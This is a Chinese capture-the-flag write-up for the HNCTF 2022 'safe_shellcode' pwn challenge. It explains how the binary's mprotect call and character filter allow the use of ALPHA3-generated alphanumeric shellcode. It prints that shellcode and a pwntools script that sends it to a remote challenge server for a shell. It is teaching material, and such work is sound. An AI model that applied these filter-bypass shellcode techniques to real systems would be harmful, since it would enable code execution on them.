safe_shellcode
[HNCTF 2022 Week1]safe_shellcode
思路
下载附件,名称为shellcoder,很明显的shellcode提示。
判断题目解法可能是shellcode利用
常规流程查看保护
发现存在NX保护,但是让我们以shellcode的思路去解题,则可能存在修改权限的函数mprotect
ida打开分析
分析代码,发现存在一个mprotect函数修改区段权限为可读可写可执行。
read函数将输入写入局部变量s,之后存在条件判断如果存在指定ASCII码范围内的字符则退出。
查看ASCII码表
即限制范围为 /~z。
之后一个strcpy函数将局部变量中的数据复制进buff,并且将buff当作代码执行。
动态调试查看buff是否具有可执行权限。
发现mprotect函数将0x404000到0x405000之间修改为可读可写可执行。
ida查看发现buff变量存在与范围之间
则可以通过项局部变量中写入shellcode实现利用,但是我们必须绕过限制。
所以写入的shellcode字符必须在范围之间。
这里利用一个shellcode编码工具啊alpha3。
具体使用请参考这篇文章
手把手教你写纯字符ascii shellcode——最通俗易懂的alphanumeric shellcode生成指南_ascii可见shellcode-CSDN博客
alpha3
生成包含数字和大小写字母的shellcode
python ./ALPHA3.py x64 ascii mixedcase rax --input="shellcode"
结果:Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t
可以看到shellcode由数字和大小写字母组成,正好在限制范围内。
根据解题思路构造exploit
exp
from pwn import *
#io=process("./shellcoder")
io=remote("node5.anna.nssctf.cn",28258)
shellcode="Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t"
io.send(shellcode)
io.interactive()
总结
- shellcode
- shellcode编码
- mprotect
本文作者:nanhang
本文链接:https://www.cnblogs.com/nanhang/p/18286742
版权声明:本作品采用知识共享署名-非商业性使用-禁止演绎 2.5 中国大陆许可协议进行许可。
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· winform 绘制太阳,地球,月球 运作规律
· AI与.NET技术实操系列(五):向量存储与相似性搜索在 .NET 中的实现
· 超详细:普通电脑也行Windows部署deepseek R1训练数据并当服务器共享给他人
· 【硬核科普】Trae如何「偷看」你的代码?零基础破解AI编程运行原理
· 上周热点回顾(3.3-3.9)